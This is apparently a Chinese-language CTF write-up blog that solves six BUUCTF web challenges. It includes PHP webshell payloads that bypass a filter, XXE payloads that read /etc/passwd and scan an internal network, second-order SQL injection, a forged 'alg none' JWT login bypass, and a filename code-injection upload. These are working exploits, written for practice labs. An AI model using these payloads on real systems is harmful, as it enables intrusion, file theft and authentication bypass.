DailyBuu-4

记录一些刷题的做法与思路

0x30 write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

逻辑比较简单,就是传入一段经过waf的php代码就可以写入了,没有php,那就用短标签;没有;,那就只能一句话,php最后一句可以不用;,遇到结束的标签可以正常执行的

那就分别写入再去访问

%3C?=system("ls\t/..")?%3E
%3C?=system("cat\t/flllllll1112222222lag")?%3E
image-20240416013257649

0x31 [GWCTF 2019]枯燥的抽奖

猜数字,点击猜是向check.php请求,访问看看

GHrqm79BNp
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

一看就知道是爆破种子了,有工具的https://download.openwall.net/pub/projects/php_mt_seed/,要看清楚的作用,四个一组的,前两个是输出的区间,如果确定是那个输出则前两个写相同的数字;后两个是随机输出设置的范围

先跑一下题目随机输出的数值,顺便构造一下参数,因为是确定的数值,每一组的前两个设置一样就行

s = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
s1 = "GHrqm79BNp"

for i in s1:
for j in range(len(s)):
if i in s[j]:
print(f"{str(j)} {str(j)} 0 61 ",end="")

拿到参数再去爆破

./php_mt_seed 42 42 0 61 43 43 0 61 17 17 0 61 16 16 0 61 12 12 0 61 33 33 0 61 35 35 0 61 37 37 0 61 49 49 0 61 15 15 0 61
image-20240416023044917

拿到种子再去跑一下

<?php
$seed = 831994223;
mt_srand($seed);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
//GHrqm79BNpfZDYzuEL3g

输入就有flag了

image-20240416023149307

0x32 [NCTF2019]True XML cookbook

很简单的一个XXE注入,随便一个payload都可以

<!--这个支持http协议,也就是可以SSRF-->
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<user><username>&example;</username><password>dsfdsf</password></user>

<!--这个php的读源码-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

<!--java的读目录-->
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

能读/etc/passwd,但是没有/flag,源码也失效了,只能找一下wp,打ssrf扫内网也太。。。。

/etc/hosts,有一个内网的ip,直接http协议扫内网其他网段

POST /doLogin.php HTTP/1.1
Host: 074f71a5-a146-4393-a2e3-76732b025fcc.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://074f71a5-a146-4393-a2e3-76732b025fcc.node5.buuoj.cn:81
Connection: close
Referer: http://074f71a5-a146-4393-a2e3-76732b025fcc.node5.buuoj.cn:81/

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "http://10.244.80.§69§" >]>
<user><username>&xxe;</username><password>024b87931a03f738fff6693ce0a78c88</password></user>
image-20240416205332276

0x33 [CISCN2019 华北赛区 Day1 Web5]CyberPunk

index.php中有

image-20240422223338758

传已知的文件例如change.php等都是直接出现该php的页面,可能是include之类的,直接php://filter/read=convert.base64-encode/resource=index.php可以读文件,这里直接放出有漏洞的部分了

confiem.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

confirm.php中,address并没有过滤,可以是任何字符,而在change.php中的update语句直接将原来的address拼接到old_address后面了,所以虽然confirm.php中不能sql注入但是在change.php的update语句中就能构造sql注入了

update语句拼接可以用报错(注意闭合前后的单引号):

1' or updatexml(1,concat(0x7e,(database()),0x7e),1)or'

先url编码后放到confirm.php上,提交一次订单

image-20240422232709442

然后到change.php中使用同样的user_namephone更改一次订单,address随便

image-20240422232814779

注入成功了,那就尝试读文件吧(写文件试过了不行),然后flag在/flag.txt

leftright函数分段读取就好

image-20240423011555688

0x34 [HFCTF2020]EasyLogin

static/js/app.js中有提示

/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

直接给一下koa项目的目录结构模板

├─.gitignore                // 忽略文件配置
├─app.js // 应用入口
├─config.js // 公共配置文件
├─ecosystem.config.js // pm2配置文件
├─package.json // 依赖文件配置
├─README.md // README.md文档
├─routes // 路由
| ├─private.js // 校验接口
| └public.js // 公开接口
├─models // 数据库配置及模型
| ├─index.js // 数据库配置
| └user.js // 用户的schema文件
├─middlewares // 中间件
| ├─cors.js // 跨域中间件
| ├─jwt.js // jwt中间件
| ├─logger.js // 日志打印中间件
| └response.js // 响应及异常处理中间件
├─logs // 日志目录
| ├─koa-template.log
| └koa-template.log-2019-05-28
├─lib // 工具库
| ├─error.js // 异常处理
| └mongoDB.js // mongoDB配置
├─controllers // 操作业务逻辑
| ├─index.js // 配置
| ├─login.js // 登录
| └test.js // 测试
├─services // 操作数据库
| ├─index.js // 配置
| ├─user.js // 用户
├─bin // 启动目录
| └www // 启动文件配置

尝试直接读一下/app.js,有源码

const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

static/js/app.js中写的路由是/api/<route>这种类型的,controllers中有api.js直接读取

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

看上去就是jwt的问题,要拿到flag就要让用户名是admin,并且为了绕过jwt的验证,这里要让jwt.verify中的secret置空,即undefine,这样一来,verify就会将jwt当成none类型的算法,即使后面选择了算法类型也会当成none

这里使用PyJWT来加密,iat用一条自己注册登录成功的jwt中的iat,登录的时候抓个包,发送的参数里拿一下iat

import jwt
token = jwt.encode({"secretid": [],
"username": "admin",
"password": "aaaa",
"iat": 1715852518
},
algorithm="none",key="")
print(token)

# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFhYWEiLCJpYXQiOjE3MTU4NTI1MTh9.

发包登录,获取koa的cookie和签名

POST /api/login HTTP/1.1
Host: 02605f6e-2410-4598-9328-e592394935bf.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://02605f6e-2410-4598-9328-e592394935bf.node5.buuoj.cn:81
Connection: close
Referer: http://02605f6e-2410-4598-9328-e592394935bf.node5.buuoj.cn:81/login

username=admin&password=aaaa&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFhYWEiLCJpYXQiOjE3MTU4NTI1MTh9.
image-20240516175643198

请求/api/flag,带上cookie

image-20240516175925180

0x35 [CISCN2019 总决赛 Day2 Web1]Easyweb

dirsearch扫一下,有robots.txt

User-agent: *
Disallow: *.php.bak

试一下已知的index.phpimage.phpuser.php,还有扫描到的upload.php,只有images.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

审计一下,能发现可以传参idpath,都经过addslashes()转义,'\"都会加上反斜杠,然后回通过str_replace()\0%00\''这几个全部替换为空,最后再拼接

这其中就有一个有问题,\0这个字符串,可以想一想怎样才能产生\0,单独输入0是不会转义的,但是输入\0就回变成\\0,经过替换后就回变成\,拼接后就会把'给转义了,前面的'在遇到path的第一个'踩会闭合,就造成了把or path=全部闭合了,然后path参数经过传参后就能实现sql注入

可以构造where id='\' or path=' or 1-- -'1则有 图片,0则没有图片,可以进行bool盲注,脚本就不多写了,前面写过非常多,最后得到admin:14267745ce635df6f4d2登录

image-20240518022903611

可以上传文件,随便上传一个去看看,上传成功有路径

image-20240518023315465

能输出文件名,文件有恰好是php文件下的,尝试在文件名注入php代码,抓包修改filename=<?php phpinfo();php>

You cant upload php file.<script>setTimeout('location.href="user.php"',3000);</script>

不行,更换短标签